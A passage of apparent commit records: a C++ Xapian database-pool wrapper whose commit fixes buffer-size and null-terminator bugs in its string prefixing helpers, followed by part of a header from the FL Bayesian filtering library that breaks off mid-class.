e.get_msg().c_str());\n\t\t\tdb->close();\n\t\t\tdelete db;\n\t\t\tdb = NULL;\n\t\t}\n\t}\n\n\t\/\/ FIXME: Handle remote endpoints and figure out if the endpoint is a local database\n\tconst Endpoint *e;\n\tif (writable) {\n\t\tdb = new Xapian::WritableDatabase();\n\t\tif (endpoints.size() != 1) {\n\t\t\tLOG_ERR(this, \"ERROR: Expecting exactly one database, %d requested: %s\", endpoints.size(), endpoints.as_string().c_str());\n\t\t} else {\n\t\t\te = &endpoints[0];\n\t\t\tif (e->protocol == \"file\") {\n\t\t\t\tdb->add_database(Xapian::WritableDatabase(e->path, Xapian::DB_CREATE_OR_OPEN));\n\t\t\t} else {\n\t\t\t\tdb->add_database(Xapian::Remote::open_writable(e->host, e->port, 0, 10000, e->path));\n\t\t\t}\n\t\t}\n\t} else {\n\t\tdb = new Xapian::Database();\n\t\tstd::vector<Endpoint>::const_iterator i(endpoints.begin());\n\t\tfor (; i != endpoints.end(); ++i) {\n\t\t\te = &(*i);\n\t\t\tif (e->protocol == \"file\") {\n\t\t\t\tdb->add_database(Xapian::Database(e->path, Xapian::DB_CREATE_OR_OPEN));\n\t\t\t} else {\n\t\t\t\tdb->add_database(Xapian::Remote::open(e->host, e->port, 0, 10000, e->path));\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nDatabase::~Database()\n{\n\tdelete db;\n}\n\nDatabaseQueue::DatabaseQueue()\n\t: count(0)\n{\n}\n\nDatabaseQueue::~DatabaseQueue()\n{\n\twhile (!empty()) {\n\t\tDatabase *database;\n\t\tif (pop(database)) {\n\t\t\tdelete database;\n\t\t}\n\t}\n}\n\n\nDatabasePool::DatabasePool()\n\t: finished(false)\n{\n\tpthread_mutexattr_init(&qmtx_attr);\n\tpthread_mutexattr_settype(&qmtx_attr, PTHREAD_MUTEX_RECURSIVE);\n\tpthread_mutex_init(&qmtx, &qmtx_attr);\n}\n\n\nDatabasePool::~DatabasePool()\n{\n\tfinish();\n\n\tpthread_mutex_destroy(&qmtx);\n\tpthread_mutexattr_destroy(&qmtx_attr);\n}\n\n\nvoid DatabasePool::finish() {\n\tpthread_mutex_lock(&qmtx);\n\t\n\tfinished = true;\n\t\n\tpthread_mutex_unlock(&qmtx);\n}\n\n\nbool\nDatabasePool::checkout(Database **database, Endpoints &endpoints, bool writable)\n{\n\tDatabase *database_ = NULL;\n\n\tLOG_DATABASE(this, \"+ CHECKING OUT DB %lx %s(%s)...\\n\", (unsigned long)*database, writable ? \"w\" : \"r\", endpoints.as_string().c_str());\n\n\tpthread_mutex_lock(&qmtx);\n\t\n\tif (!finished && *database == NULL) {\n\t\tsize_t hash = endpoints.hash(writable);\n\t\tDatabaseQueue &queue = databases[hash];\n\t\t\n\t\tif (!queue.pop(database_, 0)) {\n\t\t\tif (!writable || queue.count == 0) {\n\t\t\t\tqueue.count++;\n\t\t\t\tpthread_mutex_unlock(&qmtx);\n\t\t\t\tdatabase_ = new Database(endpoints, writable);\n\t\t\t\tpthread_mutex_lock(&qmtx);\n\t\t\t} else {\n\t\t\t\t\/\/ Lock until a database is available if it can't get one.\n\t\t\t\tpthread_mutex_unlock(&qmtx);\n\t\t\t\tint s = queue.pop(database_);\n\t\t\t\tpthread_mutex_lock(&qmtx);\n\t\t\t\tif (!s) {\n\t\t\t\t\tLOG_ERR(this, \"ERROR: Database is not available. Writable: %d\", writable);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t*database = database_;\n\t}\n\t\n\tpthread_mutex_unlock(&qmtx);\n\n\tLOG_DATABASE(this, \"+ CHECKOUT DB %lx\\n\", (unsigned long)*database);\n\n\treturn database_ != NULL;\n}\n\n\nvoid\nDatabasePool::checkin(Database **database)\n{\n\tLOG_DATABASE(this, \"- CHECKING IN DB %lx %s(%s)...\\n\", (unsigned long)*database, (*database)->writable ? \"w\" : \"r\", (*database)->endpoints.as_string().c_str());\n\n\tpthread_mutex_lock(&qmtx);\n\t\n\tDatabaseQueue &queue = databases[(*database)->hash];\n\t\n\tqueue.push(*database);\n\t\n\t*database = NULL;\n\t\n\tpthread_mutex_unlock(&qmtx);\n\n\tLOG_DATABASE(this, \"- CHECKIN DB %lx\\n\", (unsigned long)*database);\n}\n\n\nvoid\nDatabase::drop(const char *document_id, bool commit)\n{\n\tif (!writable) {\n\t\tLOG_ERR(this, \"ERROR: database is %s\\n\", writable ? \"w\" : \"r\");\n\t\treturn;\n\t}\n\n    document_id  = prefixed(document_id, DOCUMENT_ID_TERM_PREFIX);\n\n\tfor (int t = 3; t >= 0; --t) {\n\t\tLOG(this, \"Deleting: -%s- t:%d\\n\", document_id, t);\n\t\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\t    try {\n\t    \twdb->delete_document(document_id);\n\t    } catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", e.get_msg().c_str());\n\t\t\tif (t) reopen();\n\t\t\tcontinue;\n\t\t}\n    \tLOG(this, \"Document deleted\\n\");\n\t\tif (commit) _commit();\n\t\treturn;\n\t}\n\n\tLOG_ERR(this, \"ERROR: Cannot delete document: %s!\\n\", document_id);\n}\n\nchar*\nDatabase::prefixed(const char *term, const char prefix)\n{ \n    char *prefix_term = new char[strlen(term) + 2];\n    int i = 0;\n\n    prefix_term[0] = toupper(prefix);\n    prefix_term[1] = ':';\n\n    while (term[i] != '\\0') { \n        prefix_term[i+2] = term[i];\n        i++;\n    }\n    prefix_term[i+2] = '\\0';\n    return prefix_term;\n}\n\nchar*\nDatabase::prefixed_string(const char *term, const char *prefix)\n{ \n    char *prefix_term = new char[strlen(term) + strlen(prefix)];\n    int i = 0, j = 0;\n    \n    while (prefix[i] != '\\0') {\n  \t  \tprefix_term[i] = toupper(prefix[i]);\n  \t  \ti++;\n    }\n    while (term[j] != '\\0') { \n        prefix_term[i] = term[j];\n        i++;\n        j++;\n    }\n    return prefix_term;\n}\n\nvoid\nDatabase::_commit()\n{\n\tfor (int t = 3; t >= 0; --t) {\n\t\tLOG(this, \"Commit: t%d\\n\", t);\n\t\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\t\ttry {\n\t\t\twdb->commit();\n\t\t} catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", e.get_msg().c_str());\n\t\t\tif (t) reopen();\n\t\t\tcontinue;\n\t\t}\n\n\t\tLOG(this, \"Commit made\\n\");\n\t\treturn;\n\t}\n\n\tLOG_ERR(this, \"ERROR: Cannot do commit!\\n\");\n}\n\nvoid\nDatabase::index(const char *document, bool commit)\n{\n\tif (!writable) {\n\t\tLOG_ERR(this, \"ERROR: database is %s\\n\", writable ? \"w\" : \"r\");\n\t\treturn;\n\t}\n\n\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\n\tcJSON *root = cJSON_Parse(document);\n\tif (!root) {\n\t\tprintf(\"Error before: [%s]\\n\",cJSON_GetErrorPtr());\n\t}\n\tcJSON *doc_id = root ? cJSON_GetObjectItem(root, \"id\") : NULL;\n    cJSON *document_data = root ? cJSON_GetObjectItem(root, \"data\") : NULL;\n    cJSON *document_values = root ? cJSON_GetObjectItem(root, \"values\") : NULL;\n    cJSON *document_terms = root ? cJSON_GetObjectItem(root, \"terms\") : NULL;\n  \tLOG(this, \"Document_terms: %s\\n\", cJSON_Print(document_terms));\n\n    Xapian::Document doc;\n    \n    LOG(this, \"Start DATA\");\n    if (document_data) {\n    \tconst char *doc_data = cJSON_Print(document_data);\n    \tLOG(this, \"Document data: %s\\n\", doc_data);\n\t\tdoc.set_data(doc_data); \t\n    } \n    LOG(this, \"End DATA\");\n\n    \/\/Document Values\n    \n    LOG(this, \"Start values\");\n    if (document_values) {\n    \tfor (int i = 0; i < cJSON_GetArraySize(document_values); i++) {\n    \t\tcJSON *value = cJSON_GetArrayItem(document_values, i);\n            if (value->type == 3) {\n            \tdoc.add_value((i+1), Xapian::sortable_serialise(value->valuedouble));\n            \tLOG(this, \"%s: %f\\n\", value->string, value->valuedouble);\n            } else {\n            \tLOG_ERR(this, \"ERROR: %s must be a double (%s)\\n\", value->string, cJSON_Print(value));\n            }\n  \t\t}\n    }\n    LOG(this, \"End values\");\n\n    \/\/Make sure document_id is also a term (otherwise it doesn't replace an existing document)\n    const char *document_id  = prefixed(doc_id->valuestring, DOCUMENT_ID_TERM_PREFIX);\n    doc.add_value(0, doc_id->valuestring);\n    doc.add_boolean_term(document_id);\n    \n    \/\/Document Terms\n    LOG(this, \"Document terms: %s\\n\", cJSON_Print(document_terms));\n    if (document_terms) {\n    \tLOG(this, \"Terms..\\n\");\n    \tfor (int i = 0; i < cJSON_GetArraySize(document_terms); i++) {\n            cJSON *term = cJSON_GetArrayItem(document_terms, i);\n            LOG(this, \"Prefix: %s   Term: %s\\n\",term->string, term->valuestring);\n            doc.add_term(prefixed_string(term->valuestring, term->string), 1);\n            LOG(this, \"Term: %s was added\\n\", prefixed_string(term->valuestring, term->string));\n  \t\t}\n    }\n   \n\n\n    cJSON_Delete(root);\n}<commit_msg>Concatenating a string with a character, and string concatenation<commit_after>\/*\n * Copyright deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/ \n\n#include \"utils.h\"\n\n#include \"database.h\"\n#include <xapian\/dbfactory.h>\n\n#define DOCUMENT_ID_TERM_PREFIX 'Q'\n#define DOCUMENT_CUSTOM_TERM_PREFIX = 'X'\n\n\nDatabase::Database(Endpoints &endpoints_, bool writable_)\n\t: endpoints(endpoints_),\n\t  writable(writable_),\n\t  db(NULL)\n{\n\thash = endpoints.hash(writable);\n\treopen();\n}\n\n\nvoid\nDatabase::reopen()\n{\n\tif (db) {\n\t\t\/\/ Try to reopen\n\t\ttry {\n\t\t\tdb->reopen();\n\t\t\treturn;\n\t\t} catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", e.get_msg().c_str());\n\t\t\tdb->close();\n\t\t\tdelete db;\n\t\t\tdb = NULL;\n\t\t}\n\t}\n\n\t\/\/ FIXME: Handle remote endpoints and figure out if the endpoint is a local database\n\tconst Endpoint *e;\n\tif (writable) {\n\t\tdb = new Xapian::WritableDatabase();\n\t\tif (endpoints.size() != 1) {\n\t\t\tLOG_ERR(this, \"ERROR: Expecting exactly one database, %d requested: %s\", endpoints.size(), endpoints.as_string().c_str());\n\t\t} else {\n\t\t\te = &endpoints[0];\n\t\t\tif (e->protocol == \"file\") {\n\t\t\t\tdb->add_database(Xapian::WritableDatabase(e->path, Xapian::DB_CREATE_OR_OPEN));\n\t\t\t} else {\n\t\t\t\tdb->add_database(Xapian::Remote::open_writable(e->host, e->port, 0, 10000, e->path));\n\t\t\t}\n\t\t}\n\t} else {\n\t\tdb = new Xapian::Database();\n\t\tstd::vector<Endpoint>::const_iterator i(endpoints.begin());\n\t\tfor (; i != endpoints.end(); ++i) {\n\t\t\te = &(*i);\n\t\t\tif (e->protocol == \"file\") {\n\t\t\t\tdb->add_database(Xapian::Database(e->path, Xapian::DB_CREATE_OR_OPEN));\n\t\t\t} else {\n\t\t\t\tdb->add_database(Xapian::Remote::open(e->host, e->port, 0, 10000, e->path));\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nDatabase::~Database()\n{\n\tdelete db;\n}\n\nDatabaseQueue::DatabaseQueue()\n\t: count(0)\n{\n}\n\nDatabaseQueue::~DatabaseQueue()\n{\n\twhile (!empty()) {\n\t\tDatabase *database;\n\t\tif (pop(database)) {\n\t\t\tdelete database;\n\t\t}\n\t}\n}\n\n\nDatabasePool::DatabasePool()\n\t: finished(false)\n{\n\tpthread_mutexattr_init(&qmtx_attr);\n\tpthread_mutexattr_settype(&qmtx_attr, PTHREAD_MUTEX_RECURSIVE);\n\tpthread_mutex_init(&qmtx, &qmtx_attr);\n}\n\n\nDatabasePool::~DatabasePool()\n{\n\tfinish();\n\n\tpthread_mutex_destroy(&qmtx);\n\tpthread_mutexattr_destroy(&qmtx_attr);\n}\n\n\nvoid DatabasePool::finish() {\n\tpthread_mutex_lock(&qmtx);\n\t\n\tfinished = true;\n\t\n\tpthread_mutex_unlock(&qmtx);\n}\n\n\nbool\nDatabasePool::checkout(Database **database, Endpoints &endpoints, bool writable)\n{\n\tDatabase *database_ = NULL;\n\n\tLOG_DATABASE(this, \"+ CHECKING OUT DB %lx %s(%s)...\\n\", (unsigned long)*database, writable ? \"w\" : \"r\", endpoints.as_string().c_str());\n\n\tpthread_mutex_lock(&qmtx);\n\t\n\tif (!finished && *database == NULL) {\n\t\tsize_t hash = endpoints.hash(writable);\n\t\tDatabaseQueue &queue = databases[hash];\n\t\t\n\t\tif (!queue.pop(database_, 0)) {\n\t\t\tif (!writable || queue.count == 0) {\n\t\t\t\tqueue.count++;\n\t\t\t\tpthread_mutex_unlock(&qmtx);\n\t\t\t\tdatabase_ = new Database(endpoints, writable);\n\t\t\t\tpthread_mutex_lock(&qmtx);\n\t\t\t} else {\n\t\t\t\t\/\/ Lock until a database is available if it can't get one.\n\t\t\t\tpthread_mutex_unlock(&qmtx);\n\t\t\t\tint s = queue.pop(database_);\n\t\t\t\tpthread_mutex_lock(&qmtx);\n\t\t\t\tif (!s) {\n\t\t\t\t\tLOG_ERR(this, \"ERROR: Database is not available. Writable: %d\", writable);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t*database = database_;\n\t}\n\t\n\tpthread_mutex_unlock(&qmtx);\n\n\tLOG_DATABASE(this, \"+ CHECKOUT DB %lx\\n\", (unsigned long)*database);\n\n\treturn database_ != NULL;\n}\n\n\nvoid\nDatabasePool::checkin(Database **database)\n{\n\tLOG_DATABASE(this, \"- CHECKING IN DB %lx %s(%s)...\\n\", (unsigned long)*database, (*database)->writable ? \"w\" : \"r\", (*database)->endpoints.as_string().c_str());\n\n\tpthread_mutex_lock(&qmtx);\n\t\n\tDatabaseQueue &queue = databases[(*database)->hash];\n\t\n\tqueue.push(*database);\n\t\n\t*database = NULL;\n\t\n\tpthread_mutex_unlock(&qmtx);\n\n\tLOG_DATABASE(this, \"- CHECKIN DB %lx\\n\", (unsigned long)*database);\n}\n\n\nvoid\nDatabase::drop(const char *document_id, bool commit)\n{\n\tif (!writable) {\n\t\tLOG_ERR(this, \"ERROR: database is %s\\n\", writable ? \"w\" : \"r\");\n\t\treturn;\n\t}\n\n    document_id  = prefixed(document_id, DOCUMENT_ID_TERM_PREFIX);\n\n\tfor (int t = 3; t >= 0; --t) {\n\t\tLOG(this, \"Deleting: -%s- t:%d\\n\", document_id, t);\n\t\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\t    try {\n\t    \twdb->delete_document(document_id);\n\t    } catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", e.get_msg().c_str());\n\t\t\tif (t) reopen();\n\t\t\tcontinue;\n\t\t}\n    \tLOG(this, \"Document deleted\\n\");\n\t\tif (commit) _commit();\n\t\treturn;\n\t}\n\n\tLOG_ERR(this, \"ERROR: Cannot delete document: %s!\\n\", document_id);\n}\n\nchar*\nDatabase::prefixed(const char *term, const char prefix)\n{ \n    char *prefix_term = new char[strlen(term) + 3];\n    int i = 0;\n\n    prefix_term[0] = toupper(prefix);\n    prefix_term[1] = ':';\n\n    while (term[i] != '\\0') { \n        prefix_term[i + 2] = term[i];\n        i++;\n    }\n    prefix_term[i + 2] = '\\0';\n    return prefix_term;\n}\n\nchar*\nDatabase::prefixed_string(const char *term, const char *prefix)\n{ \n    char *prefix_term = new char[strlen(term) + strlen(prefix) + 1];\n    int i = 0, j = 0;\n    \n    while (prefix[i] != '\\0') {\n  \t  \tprefix_term[i] = toupper(prefix[i]);\n  \t  \ti++;\n    }\n    while (term[j] != '\\0') { \n        prefix_term[i] = term[j];\n        i++;\n        j++;\n    }\n    prefix_term[i] = '\\0';\n    return prefix_term;\n}\n\nvoid\nDatabase::_commit()\n{\n\tfor (int t = 3; t >= 0; --t) {\n\t\tLOG(this, \"Commit: t%d\\n\", t);\n\t\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\t\ttry {\n\t\t\twdb->commit();\n\t\t} catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", e.get_msg().c_str());\n\t\t\tif (t) reopen();\n\t\t\tcontinue;\n\t\t}\n\n\t\tLOG(this, \"Commit made\\n\");\n\t\treturn;\n\t}\n\n\tLOG_ERR(this, \"ERROR: Cannot do commit!\\n\");\n}\n\nvoid\nDatabase::index(const char *document, bool commit)\n{\n\tif (!writable) {\n\t\tLOG_ERR(this, \"ERROR: database is %s\\n\", writable ? \"w\" : \"r\");\n\t\treturn;\n\t}\n\n\tXapian::WritableDatabase *wdb = static_cast<Xapian::WritableDatabase *>(db);\n\n\tcJSON *root = cJSON_Parse(document);\n\tif (!root) {\n\t\tprintf(\"Error before: [%s]\\n\",cJSON_GetErrorPtr());\n\t}\n\tcJSON *doc_id = root ? cJSON_GetObjectItem(root, \"id\") : NULL;\n    cJSON *document_data = root ? cJSON_GetObjectItem(root, \"data\") : NULL;\n    cJSON *document_values = root ? cJSON_GetObjectItem(root, \"values\") : NULL;\n    cJSON *document_terms = root ? cJSON_GetObjectItem(root, \"terms\") : NULL;\n  \tLOG(this, \"Document_terms: %s\\n\", cJSON_Print(document_terms));\n\n    Xapian::Document doc;\n    \n    LOG(this, \"Start DATA\");\n    if (document_data) {\n    \tconst char *doc_data = cJSON_Print(document_data);\n    \tLOG(this, \"Document data: %s\\n\", doc_data);\n\t\tdoc.set_data(doc_data); \t\n    } \n    LOG(this, \"End DATA\");\n\n    \/\/Document Values\n    \n    LOG(this, \"Start values\");\n    if (document_values) {\n    \tfor (int i = 0; i < cJSON_GetArraySize(document_values); i++) {\n    \t\tcJSON *value = cJSON_GetArrayItem(document_values, i);\n            if (value->type == 3) {\n            \tdoc.add_value((i+1), Xapian::sortable_serialise(value->valuedouble));\n            \tLOG(this, \"%s: %f\\n\", value->string, value->valuedouble);\n            } else {\n            \tLOG_ERR(this, \"ERROR: %s must be a double (%s)\\n\", value->string, cJSON_Print(value));\n            }\n  \t\t}\n    }\n    LOG(this, \"End values\");\n\n    \/\/Make sure document_id is also a term (otherwise it doesn't replace an existing document)\n    const char *document_id  = prefixed(doc_id->valuestring, DOCUMENT_ID_TERM_PREFIX);\n    doc.add_value(0, doc_id->valuestring);\n    doc.add_boolean_term(document_id);\n    \n    \/\/Document Terms\n    LOG(this, \"Document terms: %s\\n\", cJSON_Print(document_terms));\n    if (document_terms) {\n    \tLOG(this, \"Terms..\\n\");\n    \tfor (int i = 0; i < cJSON_GetArraySize(document_terms); i++) {\n            cJSON *term = cJSON_GetArrayItem(document_terms, i);\n            LOG(this, \"Prefix: %s   Term: %s\\n\",term->string, term->valuestring);\n            doc.add_term(prefixed_string(term->valuestring, term->string), 1);\n            LOG(this, \"Term: %s was added\\n\", prefixed_string(term->valuestring, term->string));\n  \t\t}\n    }\n   \n\n\n    cJSON_Delete(root);\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file robust_feature_obsrv_model.hpp\n * \\date August 2015\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#ifndef FL__MODEL__OBSERVATION__ROBUST_FEATURE_OBSRV_MODEL_HPP\n#define FL__MODEL__OBSERVATION__ROBUST_FEATURE_OBSRV_MODEL_HPP\n\n#include <fl\/util\/meta.hpp>\n#include <fl\/util\/traits.hpp>\n#include <fl\/util\/types.hpp>\n#include <fl\/util\/descriptor.hpp>\n#include <fl\/distribution\/gaussian.hpp>\n#include <fl\/model\/observation\/interface\/observation_density.hpp>\n#include <fl\/model\/observation\/interface\/observation_function.hpp>\n\nnamespace fl\n{\n\nnamespace internal\n{\n\nenum RobustFeatureDimension { RobustFeatureDimExt = 2 };\n\n}\n\n\/**\n * \\ingroup observation_models\n *\n * \\brief Represents an observation function or model which takes an arbitrary\n *        observation model (one that implements an ObservationFunction & a\n *        an ObservationDensity) as an argument and maps it into a feature space\n *        used by the RobustGaussianFilter.\n *\/\ntemplate <typename ObsrvModel>\nclass RobustFeatureObsrvModel\n    : public ObservationFunction<\n                 \/* Obsrv type of the size SizeOf<ObsrvModel::Obsrv> + 2 *\/\n                 typename VariateOfSize<\n                     JoinSizes<\n                         SizeOf<typename ObsrvModel::Obsrv>::Value,\n                         internal::RobustFeatureDimExt\n                     >::Value\n                 >::Type,\n                 typename ObsrvModel::State,\n                 typename ObsrvModel::Noise>,\n      public Descriptor\n\n{\nprivate:\n    typedef RobustFeatureObsrvModel<ObsrvModel> This;\n\npublic:\n    \/**\n     * \\brief \\a InputObsrv type which is the same as\n     *        ObsrvModel::Obsrv. \\a InputObsrv is mapped into the feature space.\n     *        The resulting type is \\a Obsrv.\n     *\/\n    typedef typename ObsrvModel::Obsrv InputObsrv;\n\n    \/**\n     * \\brief \\a Obsrv (\\f$y_t\\f$) type which is a variate of the size\n     *        SizeOf<InputObsrv> + 2. \\a Obsrv reside in the feature space.\n     *\/\n    typedef typename VariateOfSize<\n                         JoinSizes<\n                             SizeOf<typename ObsrvModel::Obsrv>::Value,\n                             internal::RobustFeatureDimExt\n                         >::Value\n                     >::Type Obsrv;\n\n    \/**\n     * \\brief \\a State (\\f$x_t\\f$) type which is the same as ObsrvModel::State\n     *\/\n    typedef typename ObsrvModel::State State;\n\n    \/**\n     * \\brief \\a Noise (\\f$x_t\\f$) type which is the same as ObsrvModel::Noise\n     *\/\n    typedef typename ObsrvModel::Noise Noise;\n\npublic:\n    \/**\n     * \\brief Constructs a robust feature observation model for the robust\n     *        gaussian filter\n     *\n     * \\param obsrv_model   Reference to the source observation model\n     *\n     * \\note This model takes only a reference of to an existing lvalue of the\n     *       source model\n     *\/\n    explicit RobustFeatureObsrvModel(ObsrvModel& obsrv_model)\n        : obsrv_model_(obsrv_model)\n    { }\n\n    \/**\n     * \\brief Overridable default destructor\n     *\/\n    virtual ~RobustFeatureObsrvModel() { }\n\n    \/**\n     * \\brief observation Returns a feature mapped observation\n     *\/\n    Obsrv observation(const State& state, const Noise& noise) const override\n    {\n        Obsrv y = feature_obsrv(obsrv_model_.observation(state, noise), state);\n        return y; \/\/ RVO\n    }\n\n    \/**\n     * \\brief Computes the robust feature given an input feature fron the\n     *        source observation model\n     *\/\n    virtual Obsrv feature_obsrv(\n        const InputObsrv& input_obsrv, const State& state) const\n    {\n        auto y = Obsrv(obsrv_dimension());\n\n        auto prob_y = body_gaussian_.probability(input_obsrv);\n        auto prob_tail = obsrv_model_\n                            .tail_model()\n                            .probability(input_obsrv, state);\n\n        y(0) = prob_tail;\n        if (internal::RobustFeatureDimExt == 2) y(1) = prob_y;\n        y.bottomRows(obsrv_model_.obsrv_dimension()) = prob_y * input_obsrv;\n\n        auto weight = obsrv_model_.weight_threshold();\n        auto normalizer = (Real(1) - weight) * prob_y + weight * prob_tail;\n        y \/= normalizer;\n\n        return y;\n    }\n\n    \/**\n     * \\brief Sets the feature function (feature observation modek) and\n     *        parameters\n     * \\param body_gaussian     \\f${\\cal N}(y_t\\mid \\mu_{y}, \\Sigma_{yy})\\f$\n     * \\param mean_state        \\f$ \\mu_x \\f$\n     *\n     * PAPER REF\n     *\/\n    virtual void parameters(\n        const State& mean_state,\n        const typename FirstMomentOf<InputObsrv>::Type& mean_obsrv,\n        const typename SecondMomentOf<InputObsrv>::Type& cov_obsrv)\n    {\n        mean_state_ = mean_state;\n        body_gaussian_.mean(mean_obsrv);\n        body_gaussian_.covariance(cov_obsrv);\n    }\n\n    \/**\n     * \\brief Returns the dimension of the \\a Obsrv which is dim(\\a Obsrv) + 2\n     *\/\n    int obsrv_dimension() const override\n    {\n        return obsrv_model_.obsrv_dimension() + internal::RobustFeatureDimExt;\n    }\n\n    int noise_dimension() const override\n    {\n        return obsrv_model_.noise_dimension();\n    }\n\n    int state_dimension() const override\n    {\n        return obsrv_model_.state_dimension();\n    }\n\n    ObsrvModel& embedded_obsrv_model()\n    {\n        return obsrv_model_;\n    }\n\n    const ObsrvModel& embedded_obsrv_model() const\n    {\n        return obsrv_model_;\n    }\n\n    virtual std::string name() const\n    {\n        return \"RobustFeatureObsrvModel<\"\n                + this->list_arguments(embedded_obsrv_model().name())\n                + \">\";\n    }\n\n    virtual std::string description() const\n    {\n        return \"Robust feature observation model with \"\n                + this->list_descriptions(embedded_obsrv_model().description());\n    }\n\nprotected:\n    \/** \\cond internal *\/\n\n    \/**\n     * \\brief Reference to the ource observation model\n     *\/\n    ObsrvModel& obsrv_model_;\n\n    \/**\n     * \\brief \\f${\\cal N}(y_t\\mid \\mu_{y}, \\Sigma_{yy})\\f$\n     *\/\n    Gaussian<InputObsrv> body_gaussian_;\n\n    \/**\n     * \\brief \\f$\\mu_x\\f$\n     *\/\n    State mean_state_;\n\n    \/* \\endcond *\/\n};\n\n}\n\n#endif\n<commit_msg>Factorized parameters into mean_state and body_moments. Fixed body_gaussian_ initialization for dynamics sizes<commit_after>\/*\n * This is part of the FL library, a C++ Bayesian filtering library\n * (https:\/\/github.com\/filtering-library)\n *\n * Copyright (c) 2014 Jan Issac (jan.issac@gmail.com)\n * Copyright (c) 2014 Manuel Wuthrich (manuel.wuthrich@gmail.com)\n *\n * Max-Planck Institute for Intelligent Systems, AMD Lab\n * University of Southern California, CLMC Lab\n *\n * This Source Code Form is subject to the terms of the MIT License (MIT).\n * A copy of the license can be found in the LICENSE file distributed with this\n * source code.\n *\/\n\n\/**\n * \\file robust_feature_obsrv_model.hpp\n * \\date August 2015\n * \\author Jan Issac (jan.issac@gmail.com)\n *\/\n\n#pragma once\n\n\n#include <fl\/util\/meta.hpp>\n#include <fl\/util\/traits.hpp>\n#include <fl\/util\/types.hpp>\n#include <fl\/util\/descriptor.hpp>\n#include <fl\/distribution\/gaussian.hpp>\n#include <fl\/model\/observation\/interface\/observation_density.hpp>\n#include <fl\/model\/observation\/interface\/observation_function.hpp>\n\nnamespace fl\n{\n\nnamespace internal\n{\n\nenum RobustFeatureDimension { RobustFeatureDimExt = 2 };\n\n}\n\n\/**\n * \\ingroup observation_models\n *\n * \\brief Represents an observation function or model which takes an arbitrary\n *        observation model (one that implements an ObservationFunction & a\n *        an ObservationDensity) as an argument and maps it into a feature space\n *        used by the RobustGaussianFilter.\n *\/\ntemplate <typename ObsrvModel>\nclass RobustFeatureObsrvModel\n    : public ObservationFunction<\n                 \/* Obsrv type of the size SizeOf<ObsrvModel::Obsrv> + 2 *\/\n                 typename VariateOfSize<\n                     JoinSizes<\n                         SizeOf<typename ObsrvModel::Obsrv>::Value,\n                         internal::RobustFeatureDimExt\n                     >::Value\n                 >::Type,\n                 typename ObsrvModel::State,\n                 typename ObsrvModel::Noise>,\n      public Descriptor\n\n{\nprivate:\n    typedef RobustFeatureObsrvModel<ObsrvModel> This;\n\npublic:\n    \/**\n     * \\brief \\a InputObsrv type which is the same as\n     *        ObsrvModel::Obsrv. \\a InputObsrv is mapped into the feature space.\n     *        The resulting type is \\a Obsrv.\n     *\/\n    typedef typename ObsrvModel::Obsrv InputObsrv;\n\n    \/**\n     * \\brief \\a Obsrv (\\f$y_t\\f$) type which is a variate of the size\n     *        SizeOf<InputObsrv> + 2. \\a Obsrv reside in the feature space.\n     *\/\n    typedef typename VariateOfSize<\n                         JoinSizes<\n                             SizeOf<typename ObsrvModel::Obsrv>::Value,\n                             internal::RobustFeatureDimExt\n                         >::Value\n                     >::Type Obsrv;\n\n    \/**\n     * \\brief \\a State (\\f$x_t\\f$) type which is the same as ObsrvModel::State\n     *\/\n    typedef typename ObsrvModel::State State;\n\n    \/**\n     * \\brief \\a Noise (\\f$x_t\\f$) type which is the same as ObsrvModel::Noise\n     *\/\n    typedef typename ObsrvModel::Noise Noise;\n\npublic:\n    \/**\n     * \\brief Constructs a robust feature observation model for the robust\n     *        gaussian filter\n     *\n     * \\param obsrv_model   Reference to the source observation model\n     *\n     * \\note This model takes only a reference of to an existing lvalue of the\n     *       source model\n     *\/\n    explicit RobustFeatureObsrvModel(ObsrvModel& obsrv_model)\n        : obsrv_model_(obsrv_model),\n          body_gaussian_(obsrv_model.obsrv_dimension())\n    { }\n\n    